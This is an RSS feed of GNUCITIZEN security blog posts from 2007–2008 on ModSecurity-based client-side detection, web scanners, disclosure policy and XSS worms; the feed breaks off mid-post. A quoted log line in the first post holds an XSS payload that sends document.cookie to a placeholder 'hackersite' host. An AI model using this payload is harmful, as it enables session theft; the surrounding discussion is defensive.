<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>GNUCITIZEN &#187; dkza</title>
	<atom:link href="http://www.gnucitizen.org/author/dkza/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gnucitizen.org</link>
	<description>Information Security Think Tank</description>
	<lastBuildDate>Mon, 12 Dec 2011 20:33:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.2</generator>
		<item>
		<title>Content Injection: Hack the Hacker</title>
		<link>http://www.gnucitizen.org/blog/content-injection-hack-the-hacker/</link>
		<comments>http://www.gnucitizen.org/blog/content-injection-hack-the-hacker/#comments</comments>
		<pubDate>Fri, 11 Apr 2008 13:52:19 +0000</pubDate>
		<dc:creator>dkza</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[IDS]]></category>
		<category><![CDATA[Intruder Detection]]></category>
		<category><![CDATA[Intruder Prevention]]></category>
		<category><![CDATA[IPS]]></category>
		<category><![CDATA[Web 2.0]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/content-injection-hack-the-hacker/</guid>
		<description><![CDATA[Traditional IDS/IPS systems occur at the network level, usually plugged into a spanning port on a switch. I love this concept and think it should be part of any defense in depth strategy. The two primary weaknesses in these devices are, (1) they cannot process encrypted streams and (2) they can often be circumvented with a little creativity. In this post I want to discuss using Client-Side IDS (C-IDS) for more advanced attack detection. [...]]]></description>
			<content:encoded><![CDATA[<p>Traditional IDS/IPS systems occur at the network level, usually plugged into a spanning port on a switch. I love this concept and think it should be part of any defense in depth strategy. The two primary weaknesses in these devices are, (1) they cannot process encrypted streams and (2) they can often be circumvented with a little creativity. In this post I want to discuss using Client-Side IDS (C-IDS) for more advanced attack detection.</p>

<p>I don&#8217;t know how realistic this would be but it could be fun concept to investigate. Imagine setting up modules on your reverse proxy. As user visits the site, different modules could get launched during different requests. One module could detect a user&#8217;s browser plugins. One module could detect Tor and other services with Tor. Put the results into a hashing algorithm and you have a semi-unique client fingerprint regardless of IP address (although privacy laws could restrict these kinds of requests). OR, our reverse proxy could inject random code snippets of defense, overwriting and hijacking JavaScript functions (i.e. alert) with our own action (i.e. logging, blocking etc). Check out some of Mario&#8217;s code snippets of defense for the idea: <a href="http://www.gnucitizen.org/blog/snippets-of-defense-pti/">here</a>, <a href="http://www.gnucitizen.org/blog/snippets-of-defense-ptii/">here</a>, <a href="http://www.gnucitizen.org/blog/snippets-of-defense-ptiii/">here</a>, and <a href="http://www.gnucitizen.org/blog/snippets-of-defense-ptiv/">here</a></p>

<p>So what benefits would a client-side IDS (C-IDS) provide?</p>

<ul>
<li>Client side code is interoperable. This means it can be rapidly deployed across any number of networks;</li>
<li>Client side code works over encrypted sessions. We don&#8217;t need to worry about SSL termination issues and reading into encrypted sessions;</li>
<li>Client side code allows us to hook into the user&#8217;s browser where the attacks are happening. This gives us greater control and the possibility to detect advanced anti-filter attacks (obfuscation &amp; polymorphism.);</li>
<li>Client side code allows us to attack the attacker. We could execute code to determine if the attacker is using Tor or any number of browser-related variables.</li>
</ul>

<p>Basically, the same engine discussed for Web 2.0 worms could theoritically be used as an additional <strong>defense in depth</strong> tool. The latest version of <a href="http://modsecurity.org/projects/modsecurity/apache/feature_content_injection.html">ModSecurity (2.5)</a> allows two new rules, <code>&quot;prepend&quot;</code> or <code>&quot;append&quot;</code>. These rules allow us to insert HTML/text into our HTTP responses. This type of flexability opens an entire range of doors. Great stuff guys! Here&#8217;s an example from ModSecurity Content Injection article:</p>

<blockquote><p>The following rule uses the same data as the previous example, except this time, instead of simply sending an alert pop-up box we are sending the <code>MyAddress.class</code> java applet. This code will force the attacker&#8217;s browser to initiate a connection back to our web server.</p>

<pre><code>SecRule TX:ALERT "@eq 1" "phase:3,nolog,pass,chain,prepend:''"
SecRule RESPONSE_CONTENT_TYPE "^text/html"</code></pre>

<p>So, if an attacker sends a malicious request that ModSecurity triggers on, this rule will then fire and it will send the injected code to the client. Our Apache access_logs will show data similar to this:</p>

<pre><code>203.160.1.47 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/foo.cgi?param=%3Cscript%3Edocument.write('%3Cimg%20src=%22http://hackersite/'+document.cookie+'%22')%3C/script%3E HTTP/1.1" 500 676
203.160.1.47 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/grab_ip.php?IP=222.141.50.175 HTTP/1.1" 404 207</code></pre>

<p>As you can see, even though the IP address in the access_logs shows <code>203.160.1.47</code>, the data returned in the <code>QUERY_STRING</code> portion of the second line shows that the real IP address of the attacker is <code>222.141.50.175</code>. This would mean that in this case, the attacker&#8217;s system was not on a private network (perhaps just connecting their computer directly to the internet). <code>Attacker's computer -&gt; Proxy -&gt; Proxy -&gt; etc... -&gt; Target Website</code>.</p></blockquote><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/content-injection-hack-the-hacker/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Reviewing Practical PHP Exploitation Techniques</title>
		<link>http://www.gnucitizen.org/blog/reviewing-practical-php-exploitation-techniques/</link>
		<comments>http://www.gnucitizen.org/blog/reviewing-practical-php-exploitation-techniques/#comments</comments>
		<pubDate>Fri, 04 Apr 2008 10:22:20 +0000</pubDate>
		<dc:creator>dkza</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[owasp]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[web hacking]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/reviewing-practical-php-exploitation-techniques/</guid>
		<description><![CDATA[The OWASP London Chapter last night (03/Apr/08) was excellent. Thanks to everyone involved for a top night!


For those who didnâ€™t attend, Rodrigo Marcos discussed his research on hacking PHP sockets for fun and profit. I found the concept very interesting. He discussed hacking PHP sockets; however, the techniques he discusses could be used as an application reverse proxy, although, scalability and stability could be a problem. [...]]]></description>
			<content:encoded><![CDATA[<p>The OWASP London Chapter last night (03/Apr/08) was excellent. Thanks to everyone involved for a top night!</p>

<ul>
<li>For those who didnâ€™t attend, <strong>Rodrigo Marcos</strong> discussed his research on hacking PHP sockets for fun and profit. I found the concept very interesting. He discussed hacking PHP sockets; however, the techniques he discusses could be used as an application reverse proxy, although, scalability and stability could be a problem.</li>
<li><strong>David Kierznowski (myself)</strong> gave a talk on practical PHP exploitation techniques using real world examples. I think we scared some of the guys from a certain university who recognised real world vulnerable code in their own applications :)</li>
<li><strong>Colin Watson</strong> opened a can of worms in his discussion of security badges (Hacker Safe, Hacker proof etc). We had a good discussion on this!</li>
</ul>

<p><em>I have uploaded my <a href="http://www.gnucitizen.org/static/blog/2008/04/php-code-analysis-real-world-examples.pdf">presentation</a> to my site. I spent a lot of time trying to get good screenshots, so I hope it makes it easy to follow for those who couldn&#8217;t attend.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/reviewing-practical-php-exploitation-techniques/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Automated Web Foo or Fud!</title>
		<link>http://www.gnucitizen.org/blog/automated-web-foo-or-fud/</link>
		<comments>http://www.gnucitizen.org/blog/automated-web-foo-or-fud/#comments</comments>
		<pubDate>Fri, 03 Aug 2007 22:00:04 +0000</pubDate>
		<dc:creator>dkza</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[automation]]></category>
		<category><![CDATA[fud]]></category>
		<category><![CDATA[scanners]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/automated-web-foo-or-fud</guid>
		<description><![CDATA[Jeremiah is the most outspoken that I have seen regarding the effectives of automated web application tools. His recent post, Are web application scanners ***ing useless?, almost sounds frustrated. While developing the initial version of the Technika Security Framework, I have really had a chance to think about this, which I haven&#8217;t done since an OWASP presentation I attended 2-3 years ago, anyone have the link for this? [...]]]></description>
			<content:encoded><![CDATA[<p>Jeremiah is the most outspoken that I have seen regarding the effectives of automated web application tools. His recent post, <a href="http://jeremiahgrossman.blogspot.com/2007/07/are-web-application-scanners-ing.html">Are web application scanners ***ing useless?</a>, almost sounds frustrated. While developing the initial version of the <a href="http://www.gnucitizen.org/blog/introducing-technika-security-framework">Technika Security Framework</a>, I have really had a chance to think about this, which I haven&#8217;t done since an OWASP presentation I attended 2-3 years ago, anyone have the link for this?</p>

<p>Firstly, as always I love offering life experiences instead of just shooting air. Some time ago, a friend of mine decided to try out an automated web application tool against a client site&#8230; it turned into one of those, <q>unwise in hindsight</q> experiences! Whilst the tool ran over night, what he would soon find out, is that the tool would submit over 10000 requests to the application, and that this data was being stored on the customers backend database, which was then being replicated and used in other applications. What is worse, the company being tested were a group of corporate lawyers, ouch! In short, it was a painful lesson, and luckily the company got away without a lawsuit!</p>

<p>My second experience was with another good friend of mine. The project was for a large bank, which had already used a popular automated web application tool, and wanted a manual test for benchmarking and future planning. Again, the experience was negative, the automated scanner found some issues, but missed a critical business logic risk which made this particular bank say yes, to us, and limit the tools usage.</p>

<p>The challenges I see with automated web app tools are these:</p>

<ul>
<li><strong>AJAX</strong> &#8211; JavaScript can be a nightmare to parse, and actually next to impossible in some cases. If you have an AJAX application, you don&#8217;t want an automated tool.</li> 
<li><strong>Business and application logic</strong> &#8211; A knowledge of how the application fits together and quirky behaviour often uncovers the most interesting of findings. Creativity is not a strong point for the automated tool</li>
<li><strong>Pattern recognition</strong> &#8211; Massive potential for false-positives, depending how the application is setup.</li>
<li><strong>Non-RFC applications</strong> &#8211; When playing the TSF, I found the form parse tool giving me back some odd results. When I look into it further, I realised that the developer had used the &quot;target&quot; instead of <q>action</q>, the browser still processed this, as it was using the form BaseURI. Oddities, occur all the time with web apps.</li>
<li><strong>Denial of Service and business risks</strong> &#8211; As I shared in my story, although backups are great, I don&#8217;t think I would want some automated tool throwing thousands of requests an hour at my live server without really strict monitoring.</li>
<li><strong>State</strong> &#8211; I could only think of Captchas as its getting late now, but I am sure there are some other examples where human intervention is required in order to move forward.  If the application is tracking state, and using this for access controls, this may completely screw up an automated engine.</li>
<li><strong>Cost</strong> &#8211; Some of these tools cost an absolute blinkin&#8217; fortune!</li>
</ul>

<p>This list is by know means comprehensive but just some initial thoughts I&#8217;ve had over the past few weeks. I do see alot of limitations with these tools. However, I really think well-thought and developed tools can really aid a tester and make the job a little easier, if you have the money and time. So what&#8217;s left in my opinion? Two things. Of course, I love the <a href="http://www.gnucitizen.org/blog/introducing-technika-security-framework">Technika Sec Framework</a> concept, as it utilises the browser, and therefore allows us to focus our code and time on the important stuff rather then worrying whether the tool is RFC, and whether it supports A,B &amp; C. Also, because its JavaScript and open, developers far better than I, can have a platform to design some kick ass tools. Second, I really love the HTTP proxy concept, in the form of tamper data or paros type tools.</p>

<p><em>We hope to use TSF in the future hijack the DOM to provide these features for us. To me, this is the way forward, but of course I am bias :-)</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/automated-web-foo-or-fud/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Introducing Technika Security Framework</title>
		<link>http://www.gnucitizen.org/blog/introducing-technika-security-framework/</link>
		<comments>http://www.gnucitizen.org/blog/introducing-technika-security-framework/#comments</comments>
		<pubDate>Thu, 02 Aug 2007 09:10:58 +0000</pubDate>
		<dc:creator>dkza</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/introducing-technika-security-framework</guid>
		<description><![CDATA[Technika is a Firefox plugin that myself and pdp was toying with some months back. The original idea behind this project was to provide independent self-contained security tools based on JavaScript which can be loaded and executed from the browser. TS Framework v1.0 is almost ready for release.

The advantages here over traditional security tools is that we utilize the existing browser functionality instead of re-inventing the wheel. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.gnucitizen.org/blog/technika/">Technika is a Firefox plugin</a> that <a href="http://gnucitizen.org/about/dk">myself</a> and <a href="http://gnucitizen.org/about/pdp">pdp</a> was toying with some months back. The original idea behind this project was to provide independent self-contained security tools based on JavaScript which can be loaded and executed from the browser. TS Framework v1.0 is almost ready for release.</p>

<p>The advantages here over traditional security tools is that we utilize the existing browser functionality instead of re-inventing the wheel. In other words, Technika doesn&#8217;t have to worry about network sockets, SSL libraries, whether its OS independent and so on. Basically, anything the browser can do, we can.</p>

<p>The TS Framework is designed to aid security analysts when testing web applications by providing a degree of automation.</p>

<h3>Core Features:</h3>

<ul>
<li><code>tech.dspider</code> &#8211; DOM link spider; because we utilize the DOM, the results are instant.</li>
<li><code>tech.forms</code> &#8211; GET/POST form parser.</li>
<li><code>tech.mutate</code> &#8211; By specifying a payload and regex, we can mutate our target arrays and build tests.</li>
<li><code>tech.scan</code> &#8211; tech.scan is our actual engine that will handle our GET and POST requests.</li>
<li><code>tech.mNikto</code> &#8211; Mini-Nikto was named after the popular web application tool Nikto if you haven&#8217;t already guessed. We called it mini-nikto as it currently only contains a very small database.</li> 
<li><code>tech.g</code> &#8211; This is one of my favorite tools in the TS framework. It uses the Google AJAX API (JSON) to fetch links and perform other Google hacking queries outside of our current DOM. This is really useful even when it is not security related.</li>
<li><code>tech.store</code> &#8211; Utilizes the Firefox sessionStorage to allow us to persistently store arrays.</li>
</ul>

<p>There are a lot more features which we&#8217;ll keep as a surprise for the first release. Bellow you can find some screenshots of TSF in action. We will drastically improve the core functionalities in the following weeks.</p>

<p>FYI, there have been some awesome projects going on at GC. .mario and pdp have done a lot of work around <a href="http://www.gnucitizen.org/xssdb/">XSSDB and PHPIDS integration</a>. If you haven&#8217;t already checked it out, I strongly recommend that you do. You wont be disappointed. We launched <a href="http://blogsecurity.net">BlogSecurity</a> a few months back to provide security exclusively for blogs, and we have had some great feedback there as well. <a href="http://www.gnucitizen.org/blog/landing-securlscom">SecURLS</a> was also launched as a security portal to keep up to date with whats going on.</p>

<p><em>This is from me for now. Stay tuned.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/introducing-technika-security-framework/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Full Disclosure?</title>
		<link>http://www.gnucitizen.org/blog/full-disclosure/</link>
		<comments>http://www.gnucitizen.org/blog/full-disclosure/#comments</comments>
		<pubDate>Sun, 29 Jul 2007 08:50:57 +0000</pubDate>
		<dc:creator>dkza</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[disclosure]]></category>
		<category><![CDATA[full-disclosure]]></category>
		<category><![CDATA[questions]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/full-disclosure</guid>
		<description><![CDATA[As the GNUCITIZEN group grows, the team continue to find vulnerabilities in software products and applications, and there has been no real set policy around our members disclosure of these vulnerabilities. I think most of us have leaned towards the full-disclosure route. Occasionally, the vulnerability has been fairly critical and we have felt that releasing it early would be irresponsible, especially if the vendor had provided us with an acceptable timescale of when a fix would be available. [...]]]></description>
			<content:encoded><![CDATA[<blockquote><q>Bug secrecy is a viable solution only if software vendors are followers of W. Edwards Deming&#8217;s quality management principles. The longer a bug remains unfixed, the bigger a problem it is. And because the number of systems on the Internet is constantly growing, the longer a security vulnerability remains unfixed, the larger the window of exposure. If companies believe this and then act accordingly, then there is a powerful argument for secrecy. However, history shows this isn&#8217;t the case.</q> &#8211; <a href="http://www.schneier.com/crypto-gram-0111.html">schneier</a></p></blockquote>

<p>As the GNUCITIZEN group grows, the team continue to find vulnerabilities in software products and applications, and there has been no real set policy around our members disclosure of these vulnerabilities. I think most of us have leaned towards the full-disclosure route. Occasionally, the vulnerability has been fairly critical and we have felt that releasing it early would be irresponsible, especially if the vendor had provided us with an acceptable timescale of when a fix would be available.</p>

<p>I had a recent situation where I released a vulnerability to the vendor and the vendor made the details of the vulnerability public. Although, I had warned users to disable a certain peice of software, I ended up releasing the advisory 2 weeks after my email to the vendor, rather then my prefered 4 week waiting period.</p>

<blockquote>The general policy I have seen adopted is to allow vendors 30-45 days to provide a fix before releasing the full advisory. However, a public flag is released immediately allowing users to disable certain peices of software and to create awareness around the particular vulnerability without disclosing the exact details. This seems to be a win-win situation in many cases, but certainly has its points of controversy.</blockquote>

<p><em>Although this is an age old debate, it is a question GNUCITIZEN will have to answer shortly.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/full-disclosure/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Security Tool Controversy</title>
		<link>http://www.gnucitizen.org/blog/security-tool-controversy/</link>
		<comments>http://www.gnucitizen.org/blog/security-tool-controversy/#comments</comments>
		<pubDate>Tue, 10 Jul 2007 22:29:08 +0000</pubDate>
		<dc:creator>dkza</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/security-tool-controversy</guid>
		<description><![CDATA[Last year I discussed some of the hacking and security laws in the UK on michaeldaw.org; pdp also discussed this on GNUCITIZEN a few months back. Governments are looking at clamping down on security tool development and distribution to mitigate hacking risks. It looks like Germany are now following:




The main question in my mind when trying to remain objective about this, is whether IT security can be classified within the same category as Locksmiths. [...]]]></description>
			<content:encoded><![CDATA[<p>Last year I discussed some of the hacking and security laws in the UK on <a href="http://michaeldaw.org/news/news-021206/">michaeldaw.org</a>; pdp also discussed this on <a href="http://www.gnucitizen.org/blog/changes-in-the-british-computer-misuse-act">GNUCITIZEN</a> a few months back. Governments are looking at clamping down on security tool development and distribution to mitigate hacking risks. It looks like <a href="http://www.0x000000.com/?i=383">Germany are now following</a>:</p>

<blockquote><p>Whoever prepares a crime according to Â§202a or Â§202b and who creates, obtains or provides access to, 
sells, yields, distributes or otherwise allows access to</p>

<ul>
<li>passwords or other access codes, that allow access to data or</li>
<li>computer programs whose aim is to commit a crime</li>
</ul>

<p>will be punished with up to one year jail or a fine. Additionally, this new section is interwoven with other 
laws, including the ones covering terrorism. The current interpretation includes the acceptance of others 
committing a crime using your (or our) material as violation of Â§202c.<p></blockquote>

<p>
The main question in my mind when trying to remain objective about this, is whether IT security can be classified within the same category as Locksmiths. Would you feel safe in your home if an open community developed free tools to open various locking mechanisms and distributed those openly? Currently, only registered Locksmiths are allowed toolkits within the UK.</p>

<p>I also see the point that crackers will get the upper-hand as they don&#8217;t care about such laws, it will be the security community that suffers.</p>

<p><em>Whether we like it or not, times <q>are a changing</q>. I strongly believe in win-win situations, the question really is can there by one if the future moves in this direction and what with <a href="http://www.gnucitizen.org/blog/open-source-documentary-on-net-neutrality">Net Neutrality</a>.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/security-tool-controversy/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Ad-Jacking &#8211; XSSing for Fun and Profit</title>
		<link>http://www.gnucitizen.org/blog/ad-jacking-xssing-for-fun-and-profit/</link>
		<comments>http://www.gnucitizen.org/blog/ad-jacking-xssing-for-fun-and-profit/#comments</comments>
		<pubDate>Sun, 01 Jul 2007 08:24:28 +0000</pubDate>
		<dc:creator>dkza</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[adds]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/ad-jacking-xssing-for-fun-and-profit</guid>
		<description><![CDATA[How to XSS is often the topic of conversation among security professionals; however, the reason or motivation for why an attacker might want to exploit an XSS vulnerability is often limited to stealing cookies or hijacking credentials. This post takes an almost sensationalist point of you as we take you on a journey to a possible web 2.0 XSS worm armed with an Ad-Jacking payload; an attack I introduced a short time ago. [...]]]></description>
			<content:encoded><![CDATA[<p>How to XSS is often the topic of conversation among security professionals; however, the reason or motivation for why an attacker might want to exploit an XSS vulnerability is often limited to stealing cookies or hijacking credentials. This post takes an almost sensationalist point of you as we take you on a journey to a possible web 2.0 XSS worm armed with an Ad-Jacking payload; an attack I introduced a short time ago.</p>

<p>Ad-Jacking is a term I coined to categorise covert Ad hacking or Ad hijacking schemes. </p>

<p>The traditional Ad hacking system was called, <a href="http://en.wikipedia.org/wiki/Click_fraud">click fraud</a>. This malicious system would exploit PPC (pay-per-click) advertising in some obvious manners. In my opinion the name itself is almost inviting people to be malicious, especially when the beneficiary realises its not &quot;pay per click&quot; but &quot;get paid per click&quot;. Ad providers now have a plethora of techniques and wonderful equations to detect and punish click fraud offenders. I believe Ads are also moving away for PPC schemes and more toward PPA (pay-per-action) schemes.</p>

<p>The current Internet Ad schemes generally fall into one of these categories:</p>

<table>
<thead>
<tr><th>acronym</th><th>name</th><th>description</th></tr>
</thead>
<tbody>
<tr><td>CPC</td><td>cost-per-click</td><td>Money per click</td></tr>
<tr><td>CPM</td><td>cost-per-thousand</td><td>Money per thousand impressions</td></tr>
<tr><td>CPA</td><td>cost-per-action</td><td>Money per action (i.e. a sale, survey etc)</td></tr>
<tr><td>Affiliates</td><td>Affiliate programs</td><td>Custom &#8211; can involve any of the above and more.</td></tr>
</tbody>
</table>

<p>So what are our payload ideas here? It is possible to exploit CPC and CPM, but I think this would be fairly noisy and quickly picked up on by the Ad provider and as I mentioned earlier these may be the last days for PPC Ads; however, a suitable malicious algorithm utilising multiple Ad providers might prove effective. CPA on the other hand is more subtle in my opinion, and I can see attackers leaning more toward this approach.</p>

<p>I don&#8217;t want to repeat myself to much, as I have discussed some proof of concept attacks in the following articles:</p>

<ul>
<li><a href="http://michaeldaw.org/papers/paper-020607/">Ad-Jacking Affiliate Anchor Tags</a></li>
<li><a href="http://michaeldaw.org/papers/paper-290507/">XSS for Fun and Profit</a></li>
</ul>

<p>The danger with Ad-Jacking is that it requires little or no user intervention from the attackers point of view. It should also be understood that although my ideas are centered around an XSS engine, the reality is that anything from a backdoored browser plugin or greasemonkey script, to a heap spray or buffer overflow payload could be used. Imagine the possibilities of a client-side Ad-Jacking worm! It inserts the attackers Ads onto pages&#8230; it rewrites affiliate IDs&#8230; the malicious potential here is apparent. Also, because the attack is client-side based, it is much more difficult to detect.</p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/ad-jacking-xssing-for-fun-and-profit/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>XSS Worms and Mitigation Controls</title>
		<link>http://www.gnucitizen.org/blog/xss-worms-and-mitigation-controls/</link>
		<comments>http://www.gnucitizen.org/blog/xss-worms-and-mitigation-controls/#comments</comments>
		<pubDate>Sat, 23 Jun 2007 13:52:13 +0000</pubDate>
		<dc:creator>dkza</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[worms]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/xss-worms-and-mitigation-controls</guid>
		<description><![CDATA[NTPolicy is some of ntp&#8217;s ideas around mitigating XSS worm potential. He reflected these ideas as a response to our post, &#34;The Generic XSS Worm&#34; where we reached out to the community to brainstorm ideas to solve the XSS crisis.  I have summaried his thoughts below in a bullet-list with my comments beneath.



For clarity, we obviously mean implementing this a layer above the current same-origin-policy or else XSS or future attacks may be used to circumvent these controls. [...]]]></description>
			<content:encoded><![CDATA[<p>NTPolicy is some of ntp&#8217;s ideas around mitigating XSS worm potential. He reflected these ideas as a response to our post, &quot;<a href="http://www.gnucitizen.org/blog/the-generic-xss-worm">The Generic XSS Worm</a>&quot; where we reached out to the community to brainstorm ideas to solve the XSS crisis.  I have summaried his thoughts below in a bullet-list with my comments beneath.</p>

<blockquote>Implement logical seperation for Internet zones via a browser policy or use different versions of the browser for different network level access.</blockquote>

<p>For clarity, we obviously mean implementing this a layer above the current same-origin-policy or else XSS or future attacks may be used to circumvent these controls. The idea here is to create a logical seperation between RFC1918 (private and reserved IP ranges) and the Internet. There are a few challenges, namely:</p>

<ul>
<li>A number of big names such as Google and Adobe are pushing applications that bridge the desktop and browser, so you&#8217;d certainly be swimming against the current on this one.</li>
<li>How will this affect other browser controls such as file uploads and other DOM based controls? Imagine the costs involved.</li>
<li>is it really feasible to expect users to have a different profile when viewing say an Intranet site and when browsing the Internet</li>
</ul>

<blockquote>Vulnerability researchers and developers need to take XSS as a high priority to ensure quick remediation.</blockquote>

<p>This is the human factor, so this will require a reward and penalty system to encourage this or has anyone got any mind-control syrup handy? The XSS risk rating is definately higher since the Samy worm and research conducted by ourselves and others, this has helped awareness, but I think its an optimistic view indeed, if we think corporate bodies will drop everything to resolve an XSS issue, in fact, I was in a meeting of this sort recently. </p>

<blockquote>Use whitelists and update services effectively to prevent exposire and to decrease the attack surface</blockquote>

